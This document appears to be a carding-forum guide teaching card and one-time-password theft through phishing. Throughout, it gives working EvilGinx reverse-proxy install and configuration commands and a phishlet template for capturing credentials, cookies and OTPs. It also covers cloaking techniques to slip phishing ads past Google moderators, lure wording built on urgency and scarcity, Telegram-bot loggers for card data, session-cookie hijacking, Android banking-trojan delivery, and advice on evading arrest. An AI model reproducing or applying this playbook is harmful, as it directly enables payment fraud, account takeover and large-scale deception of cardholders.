MINING CC+OTP: The Complete Operational Bible

[Professor]

An Industrial Approach to Capturing Card Data and One-Time Passwords​

TABLE OF CONTENTS​

1. Introduction: Why OTP Mining Is the Top Tier
2. Phase I: Analysis — Target, Region, and Traffic Source Selection
3. Phase II: Infrastructure — Phishing Methods and Comparison
4. Phase III: Launch — Data Exfiltration and Logistics
5. Step-by-Step Guide: Setting Up EvilGinx
6. Step-by-Step Guide: Setting Up Cloaking
7. User Flow Psychology: Making the Victim Enter the Card
8. Complete Method Comparison Table
9. Strategies, Tricks, and Secrets
10. Common Mistakes and How to Fix Them
11. Risks and How to Minimize Them
12. Complete Carder Checklist
13. Key Takeaways
14. Advanced Topics: Malware, Traffic, and Cookie Exploitation

1. INTRODUCTION: WHY OTP MINING IS THE TOP TIER​

In 2026, 3D Secure 2.0 has become the wall that kills 90% of carding attempts. But there are regions where SMS OTP remains the primary authentication method. That is where OTP mining operates.

The essence of the method: You do not simply steal card data — you build a full-fledged phishing infrastructure that intercepts the OTP code entered by the victim in real time. This allows transactions that the bank considers fully legitimate.

Why this is a priority:

• A VBV card without OTP is useless (5-10% success).
• A card with an intercepted OTP has 60-85% success.
• OTP mining turns dead material into a working asset.

The economics:

Card Type	Price	Success Rate (without OTP)
VBV card	$5-15	5-10%
Card with intercepted OTP	$50-150	60-85%

The "90% preparation" principle:
The success of OTP mining depends 90% on infrastructure preparation and only 10% on the moment of attack. It is a synthesis of complex tools (EvilGinx, cloaking) and psychological engineering (User Flow).

2. PHASE I: ANALYSIS — TARGET, REGION, AND TRAFFIC SOURCE SELECTION​

2.1. Geographic Focus​

Work is conducted strictly according to a whitelist — a list of countries where:

• 3DS has not yet fully transitioned to biometric or Push authentication.
• SMS OTP remains a high percentage.
• High purchasing power.

Target Regions 2026:

Region	Countries	Characteristics
Middle East	Kuwait, UAE, Saudi Arabia, Qatar, Bahrain, Oman, Jordan	High income, SMS-OTP dominant, less competition
Latin America	Brazil, Mexico, Chile, Colombia	Growing middle class, weak biometrics
Asia	Indonesia, Philippines, Vietnam, Thailand	Mass market, SMS-OTP standard
Africa	Nigeria, Kenya, South Africa	Growing market, minimal protection

Why these regions:

• Banks there are less aggressive in implementing biometrics.
• SMS-OTP is the de facto standard.
• High income levels (for the Middle East).
• Less competition among carders.

2.2. Key Rule: Never Attack Financial Institutions​

You never impersonate a bank. You impersonate a large, trusted retailer or service provider. The victim must perceive the card request as a commercial, not a financial transaction.

Legend Examples:

Legend	Trigger	Target Audience
"You won an iPhone 16 Pro — pay 1 KD for delivery"	Greed + scarcity	Youth, 18-35
"Your order at [large local store] is ready — confirm payment"	Fear of loss	Adults, 25-55
"You've been approved for a 70% discount — enter card to activate"	Illusion of success	All ages
"Your account will be blocked in 2 hours — confirm identity"	Urgency + fear	Technically savvy

2.3. Traffic Source Selection​

Platform	Approach	Difficulty	Conversion	Cost
Google Ads	Requires cloaking, keyword ban-list checks	High	Medium	High
Facebook Ads	Requires polished User Flow, emotional triggers	Medium	High	Medium
Instagram/TikTok	Organic traffic, less moderation	Low	Medium	Low
Email campaigns	Mass, but low conversion	Low	Low	Low
SMS campaigns	Direct contact, high conversion	Medium	High	Medium

2.4. Target Analysis via Semrush and SimilarWeb​

For reverse proxy (better suited for Google), Semrush and SimilarWeb are used — a set of SEO tools for detailed target analysis.

What is analyzed:

• Site traffic (choose low to medium volume).
• Traffic sources.
• Keywords.
• Audience geography.
• Time on site.
• Bounce rate.

How to choose a target:

1. Traffic: 10,000-500,000 per month (not too large, not dead).
2. Geography: target country.
3. Niche: electronics, fashion, travel, services.
4. Weak spots in protection: no 3DS, simple payment forms.

3. PHASE II: INFRASTRUCTURE — PHISHING METHODS AND COMPARISON​

3.1. Comparison of Phishing Methods​

Method	Description	Pros	Cons	Difficulty	Effectiveness
Reverse Proxy Phishing	EvilGinx as a dynamic mirror between victim and real site	Real-time, cookie interception, 3DS bypass	Requires setup, harder to scale	High	60-85%
Classic Phishing	Static HTML copy of a page	Simplicity	Requires manual OTP page copying for each bank, banks change designs	Low	10-20%
Smishing	SMS with a phishing link	Mass reach	Low conversion	Low	5-15%
Vishing	Voice call from "bank"	High trust	Requires skill, does not scale	High	30-50%
SIM Swapping	Takeover of the communication channel	Direct OTP interception	High risk, complex	Very High	70-90%
Phishing via Malware	Malicious app on Android	Full control	Requires installation, antivirus	High	50-70%
SS7 Vulnerabilities	SMS interception via protocol flaws	Direct interception	High risk, complex	Very High	80-95%

3.2. Reverse Proxy Phishing (EvilGinx) — The Best Choice​

Why it is the best compromise:
Reverse Proxy Phishing uses a specialized server (e.g., EvilGinx) as a dynamic reverse proxy. It is a Man-in-the-Middle (MITM) attack that relays traffic in real time.

How it works:

1. The victim clicks a phishing link.
2. Traffic goes through the EvilGinx server.
3. EvilGinx relays the request to the real site (e.g., Amazon, Noon, Jumia).
4. The real site responds — EvilGinx passes the response to the victim.
5. The victim sees the real site with a real SSL certificate.
6. All data (login, password, card, OTP) is logged on the server.
7. After completion, the victim is redirected to the real site — suspecting nothing.

Key EvilGinx capabilities:

• Real-time cloning of the original site.
• Interception and filtering of all traffic.
• Instant capture of card data and OTP.
• Redirection of the victim to the real site after the operation.
• Session cookie capture — this provides access to the victim's real account.

3.3. Cloaking for Google Ads​

Google uses cloaking to run ads: showing different content to users and search bots/moderators.

Technical implementation:

• Moderators are shown harmless ads.
• When a real victim clicks, the content dynamically changes, redirecting to the phishing site.
• Server logic determines the visitor's User Agent.
• If it is a bot — the page is clean.
• If it is a victim — the page is redirected to the target landing page.

Cloaking tools:

• CloakIT — automatic bot detection.
• JustCloakIt — simple setup, good support.
• NoIPFraud — advanced analytics.
• Keitaro — comprehensive tracking and cloaking solution.

Blocking such ads requires analysis of "clickable strings" and Query ID, since the fraudulent landing page URL is hidden.

3.4. Authenticity Verification​

Language: All texts in the local dialect (e.g., Arabic for Kuwait) with impeccable grammar.

Visual: Exact replication of the official logo, fonts, and color scheme. Imitation is more important than originality.

Authenticity Checklist:

• □ Logo in correct format and color.
• □ Fonts match the brand.
• □ Color scheme is accurate.
• □ Language is the local dialect.
• □ Grammar is impeccable.
• □ Forms work correctly.
• □ SSL certificate is valid.
• □ URL resembles the legitimate one.

4. PHASE III: LAUNCH — DATA EXFILTRATION AND LOGISTICS​

4.1. Logger Setup​

What to create:
A secure database or script that will receive and store:

• CC (card number)
• CVV
• Expiry Date
• OTP (one-time password)
• IP address and User Agent of the victim (for further analysis and cashing out)
• Log/pass when necessary

Where to log:

Platform	Pros	Cons
Telegram bot	Fast, convenient, encryption	Can be blocked
Custom panel	Full control	Requires development
Private chat	Simplicity	Less functionality
Email	Universality	Insecure

4.2. Phishing Site Management Menu​

Standard controls:

Button	Function
Log taken into processing	Log taken for processing
Incorrect card data	Incorrect card data
Request OTR	Request OTP
Online check	Online check
Log processed	Log processed

4.3. The "Payment Order" Process​

Payment Order is a "payment order," a copy of the payment system page. It can be found during a full test of your target at the end of the payment process.

Algorithm:

1. After receiving the card log, the card is hit into your acceptance system.
2. On the Payment Order page, two pages or modal windows are created (depending on your imagination).
3. After entering the card and processing the payment, a loading window appears.
4. After hitting the CC, the operator requests the OTP code.
5. At this moment, after the loading window, a window appears on the site asking for the OTP code received via the payment code.

CRITICALLY IMPORTANT: You have 1-3 minutes to request the OTP!

If the cardholder entered the OTP code — your phishing data interception structure is complete.

5. STEP-BY-STEP GUIDE: SETTING UP EVILGINX​

5.1. Requirements​

• VPS with a clean IP reputation (not blacklisted).
• Domain resembling a legitimate one.
• SSL certificate (Let's Encrypt).
• Phishlet for each target site.

5.2. Installation​

# System update
apt update && apt upgrade -y

# Install dependencies
apt install -y git golang-go

# Clone EvilGinx
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2

# Build
go build

# Run
./evilginx2

5.3. Configuration​

# Domain setup
config domain your-domain.com
config ipv4 your-server-ip

# SSL setup
config autocert on

# Load phishlet
phishlets load phishlets/amazon.yaml

# Activate phishlet
phishlets hostname amazon your-domain.com
phishlets enable amazon

# Get phishing URL
lures create amazon
lures get-url 0

5.4. Monitoring​

# View sessions
sessions

# View logs
sessions 0

5.5. Phishlet Customization​

For each target site, a phishlet is required. It defines:

• Which URLs to intercept.
• Which form fields to capture.
• Which cookies to steal.
• Redirect behavior after capture.

Structure of a phishlet (YAML):

author: 'your_name'
min_ver: '3.0.0'
proxy_hosts:
  - {phish_sub: 'www', orig_sub: 'www', domain: 'target.com', session: true, is_landing: true}
auth_tokens:
  - domain: '.target.com'
    keys: ['session_id', 'auth_token']
credentials:
  username:
    key: 'email'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'www.target.com'
  path: '/login'

6. STEP-BY-STEP GUIDE: SETTING UP CLOAKING​

6.1. Tool Selection​

Tool	Price	Difficulty	Effectiveness
CloakIT	$100-500/mo	Medium	High
JustCloakIt	$50-200/mo	Low	Medium
NoIPFraud	$200-1000/mo	High	Very High
Keitaro	$100-300/mo	Medium	High

6.2. CloakIT Setup​

1. Register on the platform.
2. Add domain for cloaking.
3. Configure rules:
   • User Agent (bots → clean page).
   • IP addresses (known bots → clean page).
   • Referer (moderators → clean page).
4. Configure redirect for real victims.
5. Test from different devices.

6.3. Keitaro Setup​

1. Install on VPS.
2. Add campaign.
3. Configure streams:
   • Stream 1: Bots → clean page.
   • Stream 2: Real users → phishing.
4. Configure tracking.
5. Test.

7. USER FLOW PSYCHOLOGY: MAKING THE VICTIM ENTER THE CARD​

7.1. What Is User Flow​

User Flow is a diagram of the user's journey, a visual, branching scenario of their interaction with a digital product.

7.2. Best Triggers​

Trigger	Example	Psychological Mechanism
Discounts	"70% off today only"	Greed
Immediate scarcity	"Last 10 iPhone Pro units at this price"	Fear of missing out
Threat of loss	"Your reservation/discount expires in 2 hours"	Urgency
Urgency	"5 minutes left"	Panic
Confirmation (illusion of success)	"Your discount request has been approved"	Euphoria

7.3. Creating a Logical Bridge​

The victim must convince themselves that entering card data is a necessary formality.

Examples:

• "Refundable deposit of 1 KD — returned after delivery"
• "Identity confirmation to receive the prize"
• "Discount activation — we charge 1 KD, return 2 KD"

7.4. Step-by-Step User Flow​

1. Ad click — the victim sees an attractive offer.
2. Landing page — product/service page with timer, scarcity.
3. "Buy" button — transition to payment form.
4. Payment form — card data entry (on the real site via EvilGinx).
5. Loading window — simulated processing.
6. OTP request — the victim enters the SMS code.
7. Confirmation — "Thank you for your order!" and redirect to the real site.

8. COMPLETE METHOD COMPARISON TABLE​

Method	Difficulty	Effectiveness	Cost	Setup Time	Risk
Reverse Proxy (EvilGinx)	High	60-85%	$200-500	2-5 days	Medium
Classic Phishing	Low	10-20%	$50-100	1-2 days	Low
Smishing	Low	5-15%	$100-300	1 day	Low
Vishing	High	30-50%	$500-1000	1-2 weeks	High
SIM Swapping	Very High	70-90%	$1000-5000	2-4 weeks	Very High
Malware	High	50-70%	$500-2000	1-2 weeks	High
SS7	Very High	80-95%	$5000-20000	1-3 months	Extreme

9. STRATEGIES, TRICKS, AND SECRETS​

9.1. Strategic Tricks​

1. Work by whitelist — do not waste time on regions with biometrics.
2. Use local dialects — Arabic for Kuwait, Portuguese for Brazil.
3. Create urgency — timers, scarcity, threat of loss.
4. Imitate real sites — accuracy over originality.
5. Capture session cookies — this provides access to the victim's account.
6. Work during peak hours — when victims are most active.
7. Use mobile traffic — mobile users are less attentive.

9.2. Technical Secrets​

1. EvilGinx phishlets — ready-made ones for popular sites can be found.
2. SSL certificates — Let's Encrypt is free but requires setup.
3. Cloaking — mandatory for Google Ads.
4. Logging — Telegram bot is the most convenient option.
5. Timeframes — 1-3 minutes for OTP.
6. Redirect — after the operation, the victim must land on the real site.

9.3. Psychological Secrets​

1. Illusion of success — "Your request has been approved" works better than "Buy now."
2. Urgency — timers increase conversion by 30-50%.
3. Scarcity — "3 units left" increases conversion by 20-40%.
4. Social proof — "150 people bought in the last hour."
5. Authority — logos of well-known brands increase trust.

10. COMMON MISTAKES AND HOW TO FIX THEM​

10.1. Analysis Phase Mistakes​

Mistake	Consequence	How to Fix
Choosing a region with biometrics	Low conversion	Check the whitelist before starting
Attacking financial institutions	High risk, low trust	Impersonate a retailer
Weak target analysis	Ineffective advertising	Use Semrush/SimilarWeb
Ignoring local language	Low trust	Use local dialects

10.2. Infrastructure Phase Mistakes​

Mistake	Consequence	How to Fix
Poor SSL certificate	Browser warning	Use Let's Encrypt
Blacklisted IP	VPS does not work	Use a clean IP
No cloaking	Google Ads ban	Set up cloaking
Inaccurate site imitation	Low trust	Precise replication

10.3. Launch Phase Mistakes​

Mistake	Consequence	How to Fix
Slow logger	Data loss	Use a fast server
No OTP request	Card is useless	Set up Payment Order
OTP delay	Code expires	Act within 1-3 minutes
No redirect	Victim notices	Set up redirect to the real site

10.4. Psychology Mistakes​

Mistake	Consequence	How to Fix
Weak trigger	Low conversion	Use strong triggers
No urgency	Victim procrastinates	Add timers
No scarcity	Victim is not in a hurry	Add "X units left"
Complex User Flow	Victim leaves	Simplify the path

11. RISKS AND HOW TO MINIMIZE THEM​

11.1. Technical Risks​

Risk	Probability	Consequence	Minimization
Domain blocking	High	Loss of infrastructure	Have backup domains
VPS blocking	Medium	Loss of server	Have backup VPS
Cloaking detection	Medium	Ad ban	Use quality cloaking
Data leak	Low	Loss of logs	Encryption, secure channels

11.2. Operational Risks​

Risk	Probability	Consequence	Minimization
Slow OTP	High	Card loss	Be ready
Operator error	Medium	Card loss	Training, checklists
Technical failure	Medium	Card loss	Backup systems
Loss of connection	Low	Card loss	Backup channels

11.3. Legal Risks​

Risk	Probability	Consequence	Minimization
Arrest	Low	Criminal liability	Anonymity, cryptocurrency
Lawsuit	Low	Financial losses	Leave no traces
Asset freezing	Medium	Loss of funds	Diversification

12. COMPLETE CARDER CHECKLIST​

12.1. Preparation​

• □ Region selected from whitelist.
• □ Legend defined (retailer, service).
• □ Target analyzed (Semrush/SimilarWeb).
• □ Traffic source selected (Google/Facebook).
• □ VPS with clean IP purchased.
• □ Domain registered.
• □ SSL certificate configured.
• □ EvilGinx installed.
• □ Phishlet configured.
• □ Cloaking configured.
• □ Logger created (Telegram bot).
• □ Payment Order configured.
• □ User Flow tested.

12.2. Launch​

• □ Advertising launched.
• □ Cloaking checked.
• □ Redirect checked.
• □ Operator ready.
• □ Logger working.
• □ Connection stable.

12.3. During the Attack​

• □ Victim clicked the ad.
• □ Victim on the landing page.
• □ Victim entered the card.
• □ Log received.
• □ Card hit into acceptance system.
• □ OTP requested.
• □ Victim entered OTP.
• □ Transaction approved.
• □ Victim redirected to the real site.

12.4. After the Attack​

• □ Log saved.
• □ Card checked.
• □ Data encrypted.
• □ Traces removed.
• □ Infrastructure ready for the next attack.

13. KEY TAKEAWAYS​

1. OTP mining is the top tier of carding. It is not about "buying a card and hitting it." It is about building an infrastructure that works like clockwork.
2. Region selection is critical. Work where SMS-OTP is still in use.
3. Reverse Proxy (EvilGinx) is the best method. It bypasses 3DS, intercepts cookies and OTP.
4. Cloaking is mandatory for Google Ads. Without it, ads will be banned.
5. User Flow psychology — the victim must want to enter the card themselves. Use triggers: discounts, scarcity, urgency, illusion of success.
6. Speed — you have 1-3 minutes to request the OTP. Act fast.
7. Logging — Telegram bot or custom panel. Data must be secure.
8. Payment Order is the key element for requesting OTP. Without it, the card is useless.
9. Redirect — after the operation, the victim must land on the real site. This minimizes suspicion.
10. The "90% preparation" principle — success depends on preparation, not on the moment of attack.

14. ADVANCED TOPICS: MALWARE, TRAFFIC, AND COOKIE EXPLOITATION​

14.1. Malware-Based OTP Extraction​

Malware installed on the victim's device (usually Android) can:

• Intercept SMS messages (including OTP).
• Overlay fake login screens.
• Forward data to the attacker's server.
• Bypass 2FA entirely.

Common Android banking trojans:

• Cerberus — intercepts SMS and overlays fake screens.
• Alien — advanced version of Cerberus.
• Pheno — abuses Microsoft's Phone Link app to forward SMS.
• Anatsa — targets banking apps directly.

How to deliver malware:

• Disguised as a game, VPN, or flashlight app.
• Distributed via phishing links or third-party app stores.
• Installed via social engineering.

14.2. Traffic Sources and Their Nuances​

Source	Nuance
Google Ads	Requires cloaking, keyword ban-list checks, high budget
Facebook Ads	Requires polished User Flow, emotional triggers, less moderation
Instagram/TikTok	Organic traffic, less moderation, younger audience
Email	Mass, but low conversion, spam filters
SMS	Direct contact, high conversion, but expensive

14.3. Cookie Exploitation​

EvilGinx captures session cookies — this provides access to the victim's real account.

How to use cookies:

1. After capture, cookies are stored in the EvilGinx session.
2. Import cookies into a browser (with the same User Agent).
3. Access the victim's account without a password.
4. Use the account for further operations (e.g., ordering goods).

Important: Cookies expire. Use them within 24-48 hours.

CONCLUSION​

Bro, OTP mining is an industrial approach to carding. It is not for beginners. But if you master it — you will be at the top.

Remember:

• Work by whitelist.
• Use EvilGinx.
• Set up cloaking.
• Design the User Flow.
• Be ready for OTP within 1-3 minutes.
• Log everything.
• Minimize risks.
• Follow the checklist.

Good luck, bro. If anything — ask.